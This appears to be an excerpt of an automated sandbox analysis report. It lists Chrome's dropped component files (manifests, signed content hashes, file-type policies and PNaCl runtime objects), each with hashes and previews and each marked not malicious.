Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652485206176996e+12,"network":1.652452809e+12,"ticks":128179120.0,"uncertainty":7706235.0}},"os_crypt":{"encrypte
d_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABL95WKt94zTZq03WydzHLcAAAAAAIAAAAAABBmAAAAAQAAIAAAABAL2tyan+lsWtxhoUVdUYrY
iwg8iJkppNr2ZbBFie9UAAAAAA6AAAAAAgAAIAAAABDv4gjLq1dOS7lkRG21YVXojnHhsRhNbP8/D1zs78mXMAAAAB045Od5v4BxiFP4bdRYJjDXn4W2fxYq
Qj2xfYeAnS1vCL4JXAsdfljw4oXIE4R7l0AAAABlt36FqChftM9b7EtaPw98XRX5Y944rq1WsGWcOPFyXOajfBL3GXBUhMXghJbDGb5WCu+JEdxaxLLxaYPp4zeP"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230639940425"},"plugins":{"metadata":{"adobe-flash-player":{"disp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1765

Entropy (8bit): 6.016932513650603

Encrypted: false

SSDEEP: 48:p/hKAGj0FnAp7XgNGIaku9E5tPJXaWqkbszesM:R5Gj0FAlsaBmfPsRD3M

MD5: 6D1D175F88B64546105E3E7C31D1129A

SHA1: 75A1B56F55BB62B05365A0FDBFC7941DE77CBFAF

SHA-256: A0BC246E8E160A9BB32FA60F4E7A04D148A17125F426509466031E07731FDF81

SHA-512: 5C80908331E30C7EAD67F7F6C5AB064B07626FD9C58925A0D2124D66B25C5AE2F218BDACFB68AFCB332E88EB297CFB7E0A7A9E5E1E54C9B7A510FEF095F9B5
4F

C:\Users\user\AppData\Local\Google\Chrome\User Data\dee00d45-86b6-4ab4-a1da-2731ca5fdfca.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\fc52010b-1aaf-4073-be58-70e6949eb5ac.tmp

C:\Users\user\AppData\Local\Temp\5748_1946978943\_metadata\verified_contents.json
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Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiSUxrUllPSmhIVEZacllLRmN5UC12SkJrVjNWbWVLdHo4d1hEb2VPWjBZMCJ9LHsicGF0aCI6InNzbF9
lcnJvcl9hc3Npc3RhbnQucGIiLCJyb290X2hhc2giOiJyRFZLUnlPcXBQQnI3RGhkM2VTazBKZzYxUlJXOVNzeHFBYU95WDFiWHFjIn1dLCJmb3JtYXQiOiJ0cmVlaGFza
CIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoiZ2lla2NtbWxua2xlbmxhb21wcGtwaGtuam1ubnBuZWgiLCJpdGVtX3ZlcnNpb24iOiI3IiwicHJvdG9jb2xfdmVyc
2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"nBdNk-7bgnEftAs4hWaHwF1Lk9pt7Eh6pcqe2gyNsE7VnVRp-
H27tm1RFAF4htCUlXNJxX6YY-MUiK2DqJpQ3c73KDaFV8DcnadQfcXO3Lbrw7jLYSUaSdzujPkTyhuFcq_BhK0KWiIJ0aJgh7nVOBfAa5AbE6oFlLKMB2Ls0gmzS1-a
5hUIu4rw2h9r9jkr6gLYbein5Jk2hdwW3u-1GNjyki4dftG2iZNAI8VhUf5gnCiF4AHCnYSGJsM0RGkmO_HJIzgwpQpP3RDsG2ioeKgxL-kcHhjXWOj3uVGyxpp1FkyHGk
eGuqpFZMAxx3CEBiOtFj7i3iQxkgEW-E3uMKI3yA

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.9570514164363635

Encrypted: false

SSDEEP: 3:SVCBGERJd9WaHpYx4eiXoA:SVCwERJdVMiXd

MD5: C6ABF42CB5AF869629971C2E42A87FD5

SHA1: 6EB0FAE28D9466E76FA12E31FE6CDADD3ACCE4D1

SHA-256: D281AFDA759075F4CB7D7CEEC4A3CB2AF135213B4D691F27090E13F238486AD1

SHA-512: EDDF7E4883E82718743C589E8F2E48BEAD948428E730231FEFADAD380853343332BC56C9DC61C963B3F537CD4865B06FF330CEF012B152CEA35F8A0AA2C7B56
D

Malicious: false

Preview: 1.fd515ec0dc30d25a09641b8b83729234bc50f4511e35ce17d24fd996252eaace

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 76

Entropy (8bit): 4.169145448714876

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFY8Wypv/KS1f:F6VlMQyBSS1f

MD5: 4AAA0ED8099ECC1DA778A9BC39393808

SHA1: 0E4A733A5AF337F101CFA6BEA5EBC153380F7B05

SHA-256: 20B91160E2611D3159AD82857323FEBC906457756678AB73F305C3A1E399D18D

SHA-512: DFA942C35E1E5F62DD8840C97693CDBFD6D71A1FD2F42E26CB75B98BB6A1818395ECDF552D46F07DFF1E9C74F1493A39E05B14E3409963EFF1ADA8889715287
9

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "sslErrorAssistant",.  "version": "7".}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 2816

Entropy (8bit): 6.108955364911366

Encrypted: false

SSDEEP: 48:jkbh6AW2Bfc3osI6Hc3+XgU+EVeY55J4gXM/QDH4yq2dxckdfmkM:jkbhM2a3pntgQVb8Ylq2di

MD5: E2F792C9E2DD86F39E8286B2EAD2FC70

SHA1: 8A32867614D2A23E473ED642056DED8E566687F9

SHA-256: AC354A4723AAA4F06BEC385DDDE4A4D0983AD51456F52B31A8068EC97D5B5EA7

SHA-512: 6A7AF0CA1EFA65A89A9CA3B8DF0D2E24F21D91673C60CDFEEB02D33647442B01D535497249542F40E66E0D2DD3E9F8ED1F4A201FD97138D07A2B71366737E58
0

Malicious: false

Preview: ...5.3sha256/fjZPHewEHTrMDX3I1ecEIeoy3WFxHyGplOLv28kIbtI=.5.3sha256/m/nBiLhStttu1YmOz7Y3D2u1iB1dV2CbIfFa3R2YW5M=.5.3sha256/8Iuf4xR
bVCmCMQTJn3rxlglIO1IOKoyuSUgmXyfaIKs=.5.3sha256/8IHdrS+r6IWzSMcRcD/GA6mBxk1ECX8tGRW0rtGWILE=.5.3sha256/k/2eeJTznE32mblA/du19wpVDSI
ReFX44M8wXa2JY30=.5.3sha256/urWd7jMwR6DJgvWhp6xfRHF5b/cba3iG0ggXtTR6AfM=.5.3sha256/IJPCDSE5tM9H3nuD5m6RU2i9KDdPXVn4qmC/ULlcZzc=.5.
3sha256/0Gy8RMdbxHNWR2GQJ62QKDXORYf5JmMmnr1FJFPYpzM=.5.3sha256/8tTICtyaxIQrdbYYDdgZhTN0OpM9kYndvoImtw1Ys5E=.5.3sha256/F7HIlsaG0bpJ
W8CzYekRbtFqLVTTGqwvuwPDqnlLct0=.5.3sha256/zaV2Aw1A742R1+WpXWvL5atsJbGmeSS6dzZOfe6f1Yw=.5.3sha256/UwOkRGMlP0K/mKNJdpQ0sTg2ean9Tje8
UTOvFYzt1GE=.5.3sha256/w7KUXE4/BAo1YVZdO3mBsrMpu4IQuN0mhUXUI//agVU=.5.3sha256/JnPvGqEn36FjHQlBXtG1uWwNtdMj1o2ojR/asqyypNk=.5.3sha2
56/AUSXlKDCf1X30WhWeAWbjToABfBkJrKWPL6KwEi5VH0=.5.3sha256/zSyVjjFJMIeXK0ktVTIjewwr6U5OePRqyY/nEXTI4P8=.5.3sha256/9dcHlrXN2WV/ehbEd
MxMZ8IV4qvGejCtNC5r6nfTviM=.5.3sha256/E+0WZLGSIe5nddlVKZ5fYzaNHHCE3hNqi/OWZD3iKgA=.5.3sha2

C:\Users\user\AppData\Local\Temp\5748_1946978943\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\5748_1946978943\manifest.json

C:\Users\user\AppData\Local\Temp\5748_1946978943\ssl_error_assistant.pb
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1425

Entropy (8bit): 5.994801846608462

Encrypted: false

SSDEEP: 24:pZRj/flTm6M27DJGpqYdIQpFpNSzkaoXgdF/bhndPeQUAXFr9oX4OvDFryBuliPO:p/hZ7DJI1fp/Nykak0/FdPe2p9kdBms7

MD5: A9213F8CDFB6B78022DA05CFA5A7D891

SHA1: 93D3EF815A109379A001E3F3202757F3203361B9

SHA-256: 9C668E3D077EEE7AEF97863D7FE1CBF61FB4B5000453F505703E57D27B422967

SHA-512: 6C7BE485C63EA72AF9E427ABE509A30BE13F4BDE09F0CDB8556CFF13B083B715F7F5DFCE57A1E768EF1EB88F04EFD4E99C226100191B93F75469418CE330CE
69

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJkb3dubG9hZF9maWxlX3R5cGVzLnBiIiwicm9vdF9oYXNoIjoiakhYVTVVRE1oWUx1VUlROV96d1Bsd2Zmd29uTkhSbURmaUE5VUFHaVEtZyJ9LHsicGF
0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJJNTVkQUc3d3BDSWJBTmNzSkRZWmp0cDJCRHFTUkZXdzNwdE9sU2ktek5zIn1dLCJmb3JtYXQiOiJ
0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoia2hhb2llYm5ka29qbG1wcGVlbWpoYnBiYW5kaWxqcGUiLCJpdGVtX3ZlcnNpb24iOiI1M
CIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"LqYqsP-WlB8nE2JEqYRQxkHwN
9Wgu2MK5D_uPKB4atX30fFzDZAv8Z9plvsI53AMo_GMmNgC8lY-_9pCOQ1F19ExfbP5FC7NcA3xe112MMEg7Fkb58kGoMuTn-NQmI-ZrdwwRnGsT8tuLR9EV
d9GtzapIXldJbnhF3jZdUAR_fDG03RTaF2BmeDK2OHFmFhjGgyaqgwW8jBASkQEYpW4czHJUk45TmANmcW3tICwSoTzoTZvPOQ791WdBp6OISU0KeojQjs0W
7Y6e90Do6sOIVBKprbt0RqbKUIAC1WA3t7b2E0rMwXGmIRTjhSMkaflwMh4gFw54E5PLQMxIhNCBw"},

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 7650

Entropy (8bit): 5.12483814381491

Encrypted: false

SSDEEP: 192:40aEW8SsWk/pvtHB3Nf5Y10k6QKEa4pmigb1BPxzO6RsO6v:40aEW8SsWk/pvtHB3Nf5YKk6QKEa4pmA

MD5: 8D7D8483804246771B62D74531D9C7A8

SHA1: 19EA42E79F04F4C2A1CCAA637385BC7EF7EA19F3

SHA-256: A28B662C9E379BAAD00E700A9AA4124A2D7A3648669EB88C8E8F8CE1A7011A85

SHA-512: 955B2B467063D774233C0B5DDF0FAA04678224855E7950967B1EDE83103FF14EC8371F1B36CE7D92F9B11D2BA6AF10DE732CEE990C7500EDEC7C71252890A667

Malicious: false

Preview: .2...#<....jpg... .*.........jpeg... .*.........mp3... .*.........mp4... .*.........png... .*.........csv... .*.........ica... .*.........gif... .*.........txt... .*.........package... .*.........tif... .*.........webp... .*......
...mkv... .*.........wav... .*.........mov... .*.........avif... .*.........swf.D .*.........spl.E .*.........crx.. .*.........001..... .*.........7z.4.. .*.........ace..... .*.........arc..... .*.........arj.:.. .*.........b64...
.. .*.........balz..... .*.........bhx..... .*.........bin..... .*.....0.....bz..... .*.........bz2.8.. .*.........bzip2..... .*.........cab.... .*.........cpio.@.. .*.........fat..... .*.........gz.6.. .*.........gzip..... .*....
.....hfs..... .*.........hqx..... .*.........iso..... .*.....0.....lha.<.. .*.........lpaq1..... .*.........lpaq5..... .*.........lpaq8..... .*.........lzh.;.. .*.........lzma.?.. .*.........mim..... .*.........ntfs..... .*.......
..paq8f..... .*.........paq8jd..... .*.........paq8l..... .*.........paq8o..... 

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.8793357407284366

Encrypted: false

SSDEEP: 3:SXGVNXEWfw9CSedSVzQGDB7YsDAwd:SUNX/sQkD/

MD5: A13AE9794CF91F69B4E285B2F5E2FFDD

SHA1: 2A9E7B1BC57B296D792B50E03D80D21A9B8731F2

SHA-256: D68B68CF7C55432F41582B26536C9FD9A3BE50DD6E3255D4EC1B79488CA15C96

SHA-512: 0FD65CDB977949DA94E694CA018CCE97E4995389F4E29F9ED791B418938D9813CE1F13606363A67407BA26414E9A32757FB181FA5EB4E663BDF0F4DD8A2BEDF
6

Malicious: false

Preview: 1.2c15227a2823f31c7f3728e85a39bd87040d30562f3fa8d1c6faeb20f93e3cc8

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

C:\Users\user\AppData\Local\Temp\5748_2016759917\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\5748_2016759917\download_file_types.pb

C:\Users\user\AppData\Local\Temp\5748_2016759917\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\5748_2016759917\manifest.json
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Category: dropped

Size (bytes): 173

Entropy (8bit): 4.479129266715852

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFRxJ1KnOFgS1iJHpEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlMDf1KqgS1qOWfB0NpK4aotL

MD5: 6919207CEDCD450B8080CEE781C19AC8

SHA1: D57E8CEA888A3B1457D98A3CD5E6038D090462F5

SHA-256: 239E5D006EF0A4221B00D72C2436198EDA76043A924455B0DE9B4E9528BECCDB

SHA-512: FF864721CE59CA633FAE8D8E3D4728952F6FCF0B241DEF7832F22EF229699282A588FD76B91A3E4FA7B470CAFA9E41E8460977C2A1547A5A9E9D3CF5E8D4AFF
0

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "fileTypePolicies",.  "version": "50",.  "imageName": "image.squash",.  "squash": true,.  "fsType": "squashfs",.  "isRemovable": false.}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1770

Entropy (8bit): 6.021316461962017

Encrypted: false

SSDEEP: 48:p/h1WgAdJkakmftuCkYzNasTOskCw4fNpt:R/QCavFa+Aovrt

MD5: 7D6EDE6F96A0B67B0B65B7FE4D0BD8C6

SHA1: 32819342DE1353DD7B7C2277132A2C8AC713B027

SHA-256: AFAD87D6408424912274B737E10ACD09FF47EFFAC7C0DFF3A658BE32AD8E81E5

SHA-512: 2FCAD2E981C56BBF2794CBC9A419E34A67D63E5D1C8D5A1FD4C26A8EFC748F28875EE7883E8A6806B1A436DD72FBAA4015A43CA43A13DDBA53079CD24547F1
86

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiY3F2TlBrVVh6U2E5NUMxeXpZVERadTJTRHhhTjdNMEFXWS1TR1lrZlkwVSJ9LHsicGF0aCI6Im1vZHV
sZV9saXN0X3Byb3RvIiwicm9vdF9oYXNoIjoiSzZ0VTZILU5oazlzcGc1V01GVnVRcjZKbVJnek1ja3dMZzVHV0dBVkwxMCJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoY
XNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImVoZ2lkcG5kYmxsYWNwamFsa2lpbWtiYWRnamZubm1jIiwiaXRlbV92ZXJzaW9uIjoiMjAxOC44LjguMCIsInB
yb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"fDxxNvHaqyhoShwdeGpUS5F0GxOrj3b
fBznLiYGmP62C4oRY-Vf3I9J6_nzcQ6SPRe8CpJflAGD5eSQnbtsb6prHKZ2oYOLcKarpvQGVIS9WL9Z4hrTUsAqVmW0n8cTv7jo3cXkGg8lWdI8tj5yjrAE09XLSitPId
L_xmJIR5dEZfVpvFKgRbWTUr_5SSvZbny_8niCUuOADpas1X3uXPW-sT0jXotiwzvJgnM3rKiHr3Tsnira9E7iFZcB5JatGJwVnMnoDSfXkNhQxu1YAAYeBRKN9Ev3XAE1
EBtmBLDHy33DJIihci-Slrx2j_afRk1_zi6JuH3GA60P6G6D6n

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.872935977280404

Encrypted: false

SSDEEP: 3:S0bEVMqCVQD5mhG8d6+qGn:SGlQUhG8Im

MD5: A43371DACA3F176ED5A048BC5E2899B1

SHA1: 32FC0A9ECB568BDF3CE13F9EA17E827A900EDB42

SHA-256: 736DB43A7CCB37136CAEFF0B80670BD76BFE528203856CB19CB6C3D161B48F9C

SHA-512: 8754C5D823A9EED2749852B37084F5ED14176B6CB74D946CA3F152DD91F2C03CC4457F1CA0219D883522C7213C4CD04FCD2E33BBB31C7F7EBD6968CEE35AF95
1

Malicious: false

Preview: 1.a8a79d350c2a5e3bc36226633a8e0bed0dfab184e77f38fc8f0820ebacf8eafc

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 95

Entropy (8bit): 4.62652268830492

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFGIB+EB8KB8JMsdFKS1SHJY:F6VlMtB+vKaMsdgS1SHW

MD5: 713CD498ACBE38CCD3A83F9ACBAB4A18

SHA1: 20D43E9E26EB68915062A9EF1686C8C5AE232B54

C:\Users\user\AppData\Local\Temp\5748_2070244500\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\5748_2070244500\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\5748_2070244500\manifest.json
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SHA-256: 72ABCD3E4517CD26BDE42D72CD84C366ED920F168DECCD00598F9219891F6345

SHA-512: 8AA869C9CC8A7EE4161E8DA8E7CEC11DDBB99218120A59690E23AC545A41D20DD7E6F91CECB2A91F3DBF5132DC90D316ADBC9835973DA556E5DDB55E3D52F
230

Malicious: false

Preview: {.  "manifest_version": 2,.  "name": "win_third_party_module_list",.  "version": "2018.8.8.0".}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 2120

Entropy (8bit): 7.424032397848591

Encrypted: false

SSDEEP: 48:aCj9pJzvkuunjkEoidhC3VgUMeGcYnqj+oLi+:aCj9funjMfgPcuoLi+

MD5: 9E7D797CC67A0142F6CB3844B04D4851

SHA1: 9CE8A316A8A6A41670F4F18C0B24569855B9C47B

SHA-256: 2BAB54E87F8D864F6CA60E5630556E42BE8999183331C9302E0E465860152F5D

SHA-512: 57757C7080F87AB982B1A7ACD25E666AF86DD4EB235726D79EDC4A931B9F0968A76E448B773C18BFFEE887B4A065FE7C7A44E316B72F5775459309B99918FAFB

Malicious: false

Preview: ..................P.m.'.8.. ......n........a..........9G.|%.cW&7..w.9...x........]........`DJZ..I...../.K.3"..h......3l.....'...*..<.H&..0q.?.......H'\:..P&j........@.....o.$.....I.......Y.=.......KH..E....l.N<
..A.....q..w....l8d.....%@.......gP.4<...8..}?..?....v.Ti&.6. Z.Q.<.:..C....v.|A.....T....)]\.I;....D........'q3.S..........T.@)b..z@Q0..LI........M..h...w....7._..........B...P5.>...3.._......k|..c..
J.O...Sfs,.......^....&.F<C._\..8.Y.........29.....+..a$/T.1.....p.6...._....@!.Q......`.43....4...|............^.0.....SC./...L........I.8..V3.|...........J.>0_.8...,.A=...'........8.4...P,.V.$..............0k
.......c.........D.x.`..(.3k+m..Ig.?.....s\e+...6c.....)...........;.E....(. .............o%..Fi...'QX.*..t......!......E...V'........y.......,.Z.`.....>......>(..F."...E..F......d.n............"..........eQA>}_t.+...>..
.q..........h..'*.=.3q........@...-Z.`'..5.*....3......w.*...j.....g`..,......f$....`\.f?..^...3.....M....MI3..ufL.t...(....s...:.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3034

Entropy (8bit): 5.876664552417901

Encrypted: false

SSDEEP: 48:p/hEc9q0S+UTKYM43z8nqMsfWRUWEADM/W9n7lqFkakzcVTGkcYTPi6zM:RGcg5z/jjjHgUnV278+aWLy4

MD5: 8B6C3E16DFBF5FD1C9AC2267801DB38E

SHA1: F5CADC5914DF858C96C189B092BC89C29407BBAA

SHA-256: FD986A547D9585E98F451B87CA85DEB4B61EE540C6FAC678D7BEDABF04653095

SHA-512: 37048EF8FADF62A26CAEC6EE90AC192429AB1E99424E5C68FACA90C0DAD68642C761FDCAC03FC38FA930841F91FA145A6943EC7F168D4F2FA426F1F092C2F5
02

Malicious: false

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY19wbmFjbF9qc29uIiwicm9vdF9oYXNoIjoiVkNUSHNJVHNUSXVncWNhV2ctWHVpTU1
sdWloV1FSTE1sQnpTTGprdGhETSJ9LHsicGF0aCI6Il9wbGF0Zm9ybV9zcGVjaWZpYy94ODZfNjQvcG5hY2xfcHVibGljX3g4Nl82NF9jcnRiZWdpbl9mb3JfZWhfbyIsI
nJvb3RfaGFzaCI6ImxINWt2a1BvSVZZczZKVHhyOHc5Q2MxXzloVEJCX3lVSlF6VDZseVVNd0kifSx7InBhdGgiOiJfcGxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWN
sX3B1YmxpY194ODZfNjRfY3J0YmVnaW5fbyIsInJvb3RfaGFzaCI6IkVuLVFQTW1HUm1xbG9Ud1gzOTAzckpsMkw0R25sQmdET1FhZlNKaHJ4Nk0ifSx7InBhdGgiOiJfc
GxhdGZvcm1fc3BlY2lmaWMveDg2XzY0L3BuYWNsX3B1YmxpY194ODZfNjRfY3J0ZW5kX28iLCJyb290X2hhc2giOiJkT2lJVzRmdEdGNW9FY0k1UXYyYjBmd
XNrUlYyaUVtdmxhbmV6MlpFc3VvIn0seyJwYXRoIjoiX3BsYXRmb3JtX3NwZWNpZmljL3g4Nl82NC9wbmFjbF9wdWJsaWNfeDg2XzY0X2xkX25leGUiLCJyb290X2hhc2g
iOiIzNEU5QU9EMmpqLWNoMzZQZ0NVV0YtMUpYWVhVdlNGY1I4bks1aWppcWNjIn0seyJwYXRoIjoiX3B

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 507

Entropy (8bit): 4.68252584617246

Encrypted: false

SSDEEP: 12:TjLJ7qaVgPPd8bdzQBXefosmc5T9+n6e1Cetm1JXcAwA:TJ7jViPOd8wfHmZ6RP15

MD5: 35D5F285F255682477F4C50E93299146

SHA1: FB58813C4D785412F05962CD379434669DE79C2B

SHA-256: 5424C7B084EC4C8BA0A9C69683E5EE88C325BA28564112CC941CD22E392D8433

SHA-512: 59DF2D5F2684FACC80C72F9C4B7E280F705776076C9D843534F772D5A3D578BEE04289AEE81320F23FB4D743F3969EDF5BA53FEBBAC8A4D27F3BC53BCF271C3
E

Malicious: false

C:\Users\user\AppData\Local\Temp\5748_2070244500\module_list_proto

C:\Users\user\AppData\Local\Temp\5748_321233161\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\5748_321233161\_platform_specific\x86_64\pnacl_public_pnacl_json
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Preview: {.    "COMMENT": [.        "This file serves as a template for the resource info description used by ", .        "the NaCl Chrome plugin.  It is kept in the NaCl repository to 
prevent ", .        "hard-coding of NaCl-specific information inside the Chrome repository.".    ], .    "abi-version": 1, .    "pnacl-arch": "x86-64", .    "pnacl-ld-name": "ld.nexe", 
.    "pnacl-llc-name": "pnacl-llc.nexe", .    "pnacl-sz-name": "pnacl-sz.nexe", .    "pnacl-version": "5dfe030a71ca66e72c5719ef5034c2ed24706c43".}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 2712

Entropy (8bit): 3.4025803725190906

Encrypted: false

SSDEEP: 48:b/5D5V5PK82aTS6aTTw0Do1DttoyDNsEA:b/hbVic1ZtLDNsE

MD5: 604FF8F351A88E7A1DBD7C836378AE86

SHA1: 9D8D89AE9F13D6306E619A4EAAD51EDE91A5F9F3

SHA-256: 947E64BE43E821562CE894F1AFCC3D09CD7FF614C107FC94250CD3EA5C943302

SHA-512: 85B1EDA4C473E00034EE627B7ABB894A77E521BC6A91A91A4A3744CA7511CB0AF10B9723D9ECC2CE3378DD70B659DF842D8C11875958CB77070CF01EC0A158
40

Malicious: false

Preview: .ELF..............>.................................@.....@.......................................PH.......,$J.l=....J.$<A[..@.A...M..A..ffffff..................PH......,$J.l=....J.$<A[..D..A...M..A..ffffff..............
....PH..1..,$J.l=....J.$<A[.......A...M..A..ffffff..................PH..SP..h.........fff...................h.........fff.............J.$<[.,$J.l=....J.$<.....f......................................................................
...............................................................................................................NaCl....x86-64...........zR..x......................@....C....C.........8.......@....C....C.........T.......@....C....C
.........p.......`....C....C..B...... .......................<...............@.......X.......................t........................clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-
clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pna

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 2776

Entropy (8bit): 3.5335802354066246

Encrypted: false

SSDEEP: 48:b/5D5V5ej5ej5PjDdaTS6aTTw6DV1DtFouoyDOsTy:b/hbEEVJB1ZFhLDOsT

MD5: 88C08CD63DE9EA244F70BFC53BBCADF6

SHA1: 8F38A113A66B18BAA02E2C995099CF1145A29DAA

SHA-256: 127F903CC986466AA5A13C17DFDD37AC99762F81A794180339069F48986BC7A3

SHA-512: 78D2500493A65A23D101EC2420DC5F0CE8C75EFAC425C28547121643E4FB568E9D827EF2C0F7068159E043C86B986F29BF92C6BADC675F160B63C7B3512EB95F

Malicious: false

Preview: .ELF..............>.....................X...........@.....@.......................................PH.......,$J.l=....J.$<A[..@.A...M..A..ffffff..................PH......,$J.l=....J.$<A[..D..A...M..A..ffffff..............
....PH..1..,$J.l=....J.$<A[.......A...M..A..ffffff..................PH..,$J.l=....J.$<A[f........A...M..A..ffffff..................PH..,$J.l=....J.$<A[f........A...M..A..ffffff..................PH..SP..h.......
..fff.............J.$<[.,$J.l=....J.$<.....f.K...............`.......P.......................z...................................NaCl....x86-64...clang version 3.7.0 (https://chromium.googlesource.com
/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c9
4a3a7da70f0081724448f)............zR..x......................@....C....C.........8.......@....C....C.........T.......@....C....C.........p.......@....C....C.................@....C....C.................@...

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Category: dropped

Size (bytes): 1520

Entropy (8bit): 2.799960074375893

Encrypted: false

SSDEEP: 12:Bvx/ekjlM/NQQmTfR9yp9396QQmTfR9C6wRqD8MTDDw7lEOkSbfuEAXwX6BX2U8b:bDjO/NbmT3296bmT3Twk8qDwh7b7CD8

MD5: 75E79F5DB777862140B04CC6861C84A7

SHA1: 4DB7BDC80206765461AC68CEC03CE28689BBEE0C

SHA-256: 74E8885B87ED185E6811C23942FD9BD1FBAC9115768849AF95A9DECF6644B2EA

SHA-512: FE3F86E926759E71494F2060C4ED3C883EBCAF20CB129A5AD7F142766C33FAB10B5FABC3C7C938E0E895E27EA0AC03CBFE8D0EEABF5300A4AD07F67FD96CC
253

Malicious: false

Preview: .ELF..............>.................................@.....@.........................NaCl....x86-64.......clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git 
ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f
)...text..comment..bss..group..note.GNU-stack..eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64.......................................................!...................................
.............................................................................................................................................................../../../pnacl/support/crtend.c.__EH_FRAME_END__.........................
......................................................................@...............................................................H.......................................P.......................H...............................

